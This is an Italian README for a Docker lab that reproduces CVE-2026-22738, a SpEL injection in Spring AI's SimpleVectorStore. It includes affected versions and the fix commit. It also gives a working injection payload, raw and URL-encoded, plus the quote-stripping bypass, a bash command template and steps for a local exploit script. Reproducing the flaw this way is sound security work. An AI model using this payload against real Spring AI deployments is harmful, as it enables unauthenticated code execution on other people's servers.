Ambiente di riproduzione CVE-2026-22738

Descrizione della vulnerabilità

CVE-2026-22738 è una vulnerabilità di iniezione SpEL (Spring Expression Language) in Spring AI SimpleVectorStore che può portare all'esecuzione remota di codice (RCE) non autenticata.

Versioni interessate

Artifact	Versioni interessate	Versione corretta
org.springframework.ai:spring-ai-core	1.0.0 – 1.0.4	1.0.5
org.springframework.ai:spring-ai-core	1.1.0-M1 – 1.1.3	1.1.4

Nota: questo progetto utilizza la versione stabile spring-ai-core:1.0.0 per la riproduzione della vulnerabilità.

Commit di correzione: ba9220b22383e430d5f801ce8e4fa01cf9e75f29

Principio della vulnerabilità

Il metodo SimpleVectorStore.similaritySearch() passa il nome della chiave del filtro fornito dall'utente direttamente al template SpEL, che viene valutato tramite StandardEvaluationContext. Poiché StandardEvaluationContext espone l'intera API di reflection JVM, un attaccante può iniettare:

T(java.lang.Runtime).getRuntime().exec(...)

aggiungendo la chiave del filtro per ottenere l'esecuzione di comandi del sistema operativo non autenticata.

Riproduzione della vulnerabilità

Utilizzare il seguente payload, notare che è necessaria una codifica URL

"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['"

%22'%5D%20%2B%20T(java.lang.Runtime).getRuntime().exec('calc')%20%2B%20%23metadata%5B'%22

Passare il payload al parametro filterKey per aprire con successo la calcolatrice

Dettagli del bypass

Il semplice metodo di iniezione non funziona direttamente: è necessario superare due peculiarità del parser:

Rimozione degli apici singoli — una chiave che inizia con un apice singolo ' viene trattata come stringa tra virgolette; le virgolette esterne vengono rimosse, rompendo il payload.
Wrapper con virgolette doppie — avvolgere il payload tra virgolette doppie "..." fa sì che il parser rimuova le virgolette doppie esterne, preservando l'espressione SpEL interna come valore della chiave passato al parser #metadata['<KEY>'].
Chiave metadata vuota — #metadata[''] viene utilizzata su entrambi i lati dell'espressione iniettata (invece di una variabile non definita) per evitare l'errore SpEL di variabile sconosciuta, attivando comunque exec().

L'espressione calcolata assume la seguente forma:

#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'

Indicatori di successo

Il corpo della risposta HTTP conterrà l'errore di runtime SpEL EL1030E:

operator ADD not supported between null and java.lang.ProcessImpl

Questo errore viene generato dopo il ritorno di exec(), confermando l'esecuzione del comando a livello di sistema operativo senza bisogno di callback out-of-band.

Configurazione dell'ambiente

Prerequisiti

Docker e Docker Compose
Python 3 + libreria requests (pip install requests)

Creazione ed esecuzione dell'ambiente vulnerabile

# Creare e avviare i container
docker compose up -d --build

# Visualizzare i log
docker compose logs -f

Esecuzione dello script di exploit

# Installare le dipendenze
pip install requests

# Eseguire l'exploit (attendere l'avvio dell'applicazione)
python3 exploit.py --wait

# Oppure specificare il target
python3 exploit.py --target http://localhost:8082 --wait

Descrizione dei parametri

Flag	Valore predefinito	Descrizione
`--target`	`http://localhost:8082`	URL di base dell'applicazione vulnerabile
`--wait`	disattivato	Esegue il polling finché il target non è pronto (utile dopo `docker compose up`)

Nota: Docker Desktop (macOS/Windows) utilizza host.docker.internal per i callback, payload 127.0.0.1.

Passaggi dell'exploit

Il flusso della proof of concept comprende cinque passaggi consecutivi:

Verifica di base — conferma che l'endpoint sia raggiungibile e restituisca i dati seed
Sonda SpEL cieca — conferma il punto di iniezione leggendo java.version tramite T(java.lang.System)
RCE: touch /tmp/pwned_cve_2026_22738 all'interno del container
RCE: scrive l'output di id // uname // hostname in /tmp/rce_proof.txt
Verifica: stampa il contenuto del file di prova tramite docker exec

Struttura del progetto

├── Dockerfile                    # File di build Docker
├── docker-compose.yml            # Configurazione Docker Compose
├── pom.xml                       # Configurazione del progetto Maven
├── settings.xml                  # Impostazioni Maven (include repository Spring)
├── exploit.py                    # Script di exploit
└── src/main/java/com/example/spelrce/
    ├── SpelRceLabApplication.java    # Classe principale Spring Boot
    ├── VulnController.java           # Controller vulnerabile
    ├── VectorStoreConfig.java        # Configurazione VectorStore
    └── DummyEmbeddingModel.java      # Modello Embedding simulato

Test locale (senza Docker)

# Compilare il progetto
mvn clean package -DskipTests

# Eseguire l'applicazione
java -jar target/spel-rce-lab-1.0.0.jar

# In un altro terminale eseguire l'exploit
python3 exploit.py --target http://localhost:8082

CVE-2026-22738

Più Popolari